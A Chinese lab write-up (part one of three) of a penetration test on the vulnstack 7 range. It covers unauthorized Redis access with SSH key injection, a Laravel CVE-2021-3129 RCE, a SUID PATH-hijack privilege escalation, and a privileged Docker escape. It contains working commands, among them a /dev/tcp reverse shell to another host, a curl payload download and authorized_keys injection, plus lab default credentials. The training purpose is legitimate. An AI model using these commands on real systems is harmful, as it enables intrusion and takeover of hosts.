网站建设 ui 企业网站/成都百度百科
目录
一、测试环境
1、系统环境
2、注意事项
3、使用工具/软件
二、测试目的
三、操作过程
1、信息搜集
2、Redis未授权访问漏洞获取web1靶机系统权限
3、获取docker靶机系统权限
①Laravel框架漏洞利用getshell
②Laravel主机的提权&&docker容器逃逸
提权
Docker逃逸
四、结论
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.200.128)
靶 机:
Ubuntu-web1[192.168.52.10(仅主机的52网段,配置好的固定IP)、192.168.200.129(nat网卡)];
Ubuntu-web2[192.168.52.20(仅主机的52网段,配置好的固定IP)、192.168.93.10(仅主机的93网段,配置好的固定IP)];
Win7-PC1[192.168.52.30(仅主机的52网段,配置好的固定IP)、192.168.93.20(仅主机的93网段,配置好的固定IP)];
WinServer-DC(192.168.93.30,仅主机的93网段,配置好的固定IP);
Win7-PC2(192.168.93.40,仅主机的93网段,配置好的固定IP)。
密码信息(默认密码):
- Ubuntu 1:web/web2021
- Ubuntu 2:ubuntu
域用户账户和密码如下:
- Administrator:Whoami2021
- whoami:Whoami2021
- bunny:Bunny2021
- moretz:Moretz2021
通达OA账户:
admin:admin657260
2、注意事项
- 靶场中各个主机都运行着相应的服务并且没有自启功能,如果你关闭了靶机,再次启动时还需要在相应的主机上启动靶机服务。
- Ubuntu 1需要启动nginx服务:
redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F
- Ubuntu 2需要启动docker容器:
sudo service docker start
sudo docker start 8e172820ac78
- Win 7-PC1需要启动通达OA和nginx(否则外部访问不到):
C:\MYOA\bin\AutoConfig.exe
C:\MYOA\nginx\OfficeNginx.exe
而且,需要启用网络发现!!,要ubuntu1和2能ping到这台主机才可以
3、使用工具/软件
Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、dirsearch(目录遍历)、ssh-kergen(生成ssh公钥私钥)、python3(临时web服务)
Redis Insight(redis数据库管理)、MDUT(数据库综合利用工具利用)、mobaxterm(进行ssh连接)、burp suite(发包测试)、CVE-2021-3129-EXP(漏洞利用poc)、godzilla v2.96(webshell连接)、中国蚁剑(webshell连接)、cdk(docker漏洞检测工具)
测试网址:http://192.168.200.129:81
后面两篇文章地址:
红日靶场vulnstack 7靶机的测试报告[细节](二)-CSDN博客文章浏览阅读572次,点赞24次,收藏10次。基于渗透测试流程测试vulnstack 7靶机;msf渗透;metasploit;meterpreter;内网渗透;通达OA;文件上传+文件包含;构造RCE漏洞。https://blog.csdn.net/2301_79698171/article/details/144503412?sharetype=blogdetail&sharerId=144503412&sharerefer=PC&sharesource=2301_79698171&spm=1011.2480.3001.8118红日靶场vulnstack 7靶机的测试报告[细节](三)-CSDN博客文章浏览阅读322次,点赞11次,收藏5次。基于渗透测试流程渗透vulnstack 7靶场;二层内网代理;永恒之蓝;ms17-010;psexec上线;ipc通道;内网信息搜集;ATT&CK。
https://blog.csdn.net/2301_79698171/article/details/144508445?spm=1001.2014.3001.5501
二、测试目的
通过web渗透,利用redis和laravel的漏洞进行测试获取两台ubuntu主机的系统权限。
三、操作过程
1、信息搜集
主机探测
arp-scan -l
web靶机IP:192.168.200.129
端口和服务探测
nmap -sN -A -p- -T4 192.168.200.129
靶机开启了22端口(ssh服务)、80端口(web服务)、81端口(web服务)、6379端口(redis服务)
目录扫描
dirsearch -u http://192.168.200.129:81 -i 200,301 --exclude-sizes=0B
扫到了两个网页,但都没什么信息
2、Redis未授权访问漏洞获取web1靶机系统权限
信息搜集阶段发现靶机开启了redis的默认端口6379,nmap也识别该服务正是redis
使用redis数据库管理工具进行连接
发现直接就可以连接上去,没有认证
在控制台输入命令也有回显
info
在Redis 数据库服务存在未授权访问漏洞的情况下,常见的获取服务器 shel的方法一般有写SSH-keygen、写计划任务反弹shell、写webshell、利用主从复制获取shell等方式.可以通过Redis Insight 操作Redis手工获取服务器shell,也可以使用工具进行自动化获取shell。
使用MDUT数据库综合利用工具利用
项目地址:GitHub - SafeGroceryStore/MDUT: MDUT - Multiple Database Utilization ToolsMDUT - Multiple Database Utilization Tools. Contribute to SafeGroceryStore/MDUT development by creating an account on GitHub.https://github.com/SafeGroceryStore/MDUT
先进行数据库连接
成功进行连接
该工具可以一键替换ssh公钥
需要先使用kali生成一份ssh公钥和私钥
ssh-keygen -t rsa
然后复制/root/.ssh/id_rsa.pub的内容到利用工具的公钥栏
cat /root/.ssh/id_rsa.pub
直接写入
靶机是开启了22端口的ssh服务的,接下来使用私钥进行ssh连接
私钥位置:/root/.ssh/id_rsa
复制一份出来即可,使用mobaxterm直接进行ssh私钥连接
可以看到成功连接,root权限
查看IP
外网IP:192.168.200.129
内网IP:192.168.52.10
3、获取docker靶机系统权限
需要注意的是,这个laravel框架是从内网主机映射到web主机的81端口的,因此这个docker容器来自于内网主机。
别问为什么,我也是踩了几个小时的坑才发现。
①Laravel框架漏洞利用getshell
访问web主页
可以看到laravel的版本是8.29.0 php版本是7.4.14
查找laravel框架的历史漏洞
https://www.seebug.org/search/?keywords=laravel
漏洞编号:SSV-99098
CVE-2021-3129
这个漏洞影响范围包括8.29.0版本
发送漏洞检测数据包poc,查看漏洞是否存在
POST / HTTP/1.1
Host:192.168.200.129:81
Content-Type: application/json
Content-Length: 167
{
"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": (
"variableName": "username",
"viewFile": "xxxxxxx"
}
}
发送数据包,返回如下页面:
这表示目标laravel开启了debug模式,存在RCE漏洞
漏洞利用exp可以在github下载:
GitHub - SecPros-Team/laravel-CVE-2021-3129-EXPContribute to SecPros-Team/laravel-CVE-2021-3129-EXP development by creating an account on GitHub.https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
使用这个exp,打开cmd,输入url地址并运行exp
python laravel-CVE-2021-3129-EXP.py http://192.168.200.129:81
可以看到生成了webshell地址,这个使用godzilla(哥斯拉) v2.96进行连接
必须使用godzilla 2.96版本连接,4.01版就连不上了
查看靶机信息,发现靶机是linux系统,且有dockerenv文件
whoami
find / -name .dockerenv
确认是docker环境
cat /proc/self/cgroup
会列出当前docker容器ID信息
Docker容器中执行hostname命令,回显结果应与容器ID匹配
hostname
结果与容器ID前面12位一致,可以确认当前环境为docker环境
②Laravel主机的提权&&docker容器逃逸
提权
通过redis未授权漏洞,已经获取了web主机的root权限,尝试将docker的shell弹到web主机上。
在web主机开启监听
echo '#!/bin/bash\nbash -i >& /dev/tcp/192.168.52.10/6666 0>&1' > test.sh
bash test.sh
成功获取反弹shell,laravel框架的主机IP:192.168.52.20
通过laravel的RCE漏洞获取的webshell只是www-data权限,进行docker逃逸前要先提权
查找suid权限文件发现,jobs家目录有一个shell文件是suid权限
find / -perm -4000 -ls 2>/dev/null
执行shell文件,发现调用了ps命令
/home/jobs/shell
使用环境变量提权,构造一个ps命令调用/bin/bash,这样运行shell文件调用ps命令时就会以root身份执行/bin/bash了
echo '/bin/bash' > /tmp/ps
添加tmp目录到环境变量首位,这样执行命令会优先在tmp目录找命令执行
echo $PATH
export PATH="/tmp:$PATH"
echo $PATH
再次运行shell文件,验证权限,提权成功!
/home/jobs/shell
获取交互式shell
SHELL=/bin/bash script -q /dev/null
Docker逃逸
使用mobaxterm自带的网络扫描工具看一下
可以看到靶机开启了ssh服务
先上传cdk到web主机,并在web主机使用python开启临时web服务
python3 -m http.server 8888
在docker主机使用curl命令下载cdk
curl http://192.168.52.10:8888/cdk_linux_amd64 --output cdk
赋予文件执行权限并运行
chmod +x cdk
./cdk evaluate --full
可以看到特权模式是打开的,可以将物理机的文件挂载到docker容器进行利用
挂载命令:
mkdir /taoyi
mount /dev/sda1 /taoyi
cd /taoyi && ls -la
这样就会将物理机的文件挂载到docker容器
可以利用替换ssh公钥文件,实现ssh登录docker主机的物理机
.ssh目录(权限700);私钥权限600;~/.ssh/authorized_keys文件(权限600)
cd root
mkdir .ssh && chmod 700 .ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCPIBEKJ+XPb3kENnFCySEV95FPT31k3Qc0o+zJHPpC7Rpna71oWow4mCo37AunRQ09pMTwfc9cWMLd6ulc0DpPK4IaZ0o42Gb0Dmb/TA8sxroCUPfS95ExkvKbAgy+M4IbJWs+UOMHez4keF4JUFaLaEfsE9587KiaOLBb3PgZ7CdKkUwMpCAnKyn78P483HRMzIgRjddjpmWMylilyA3qpDgezienPF7T/1BMfAHPYsJEF58vSv+j6Lt73z5KvmxcV/XXuIvna4WTQJjLe9HGeaHZnKTrxPNxQhxwvnh1/oS+28VvivRhPUINr9qXewwYJRec9JGkOjBdVH1tDemzqY7qbtZ1277Lpyesf6Z/gbGDj3PZr0ahzOq6PD+jmlhT7eSaKvc4pYXsZ6fZ6Ii6Gq0wtHSzUPM/E/IJB6y/d0EfbvzWkIX7/DoyeFO9DhW5UAHuCvyaBm9ONVy0fBcJUJcCUhcLQUs7GEzcjzpGzkf+/eclz4JAyYrnELkkzUU= root@hacker" > .ssh/authorized_keys
chmod 600 .ssh/authorized_keys
私钥上传到web主机上,并赋予600权限
chmod 600 id_rsa
在web主机进行ssh连接到内网docker物理机
ssh root@192.168.52.20 -i id_rsa
成功连接!
这台机器也是两张网卡:
内网1:192.168.52.20
内网2:192.168.93.10
四、结论
redis未授权漏洞危害很大,可以直接无密码登录进行操作。laravel框架的历史版本漏洞也有很多漏洞可以利用。web服务器将内网主机的docker容器映射到了自身端口,允许外部访问。docker容器以特权模式启动时,可以进行docker逃逸。
这个靶场共五台主机,两层内网架构,都放在一篇文章的话,有些冗杂,分成三篇发送。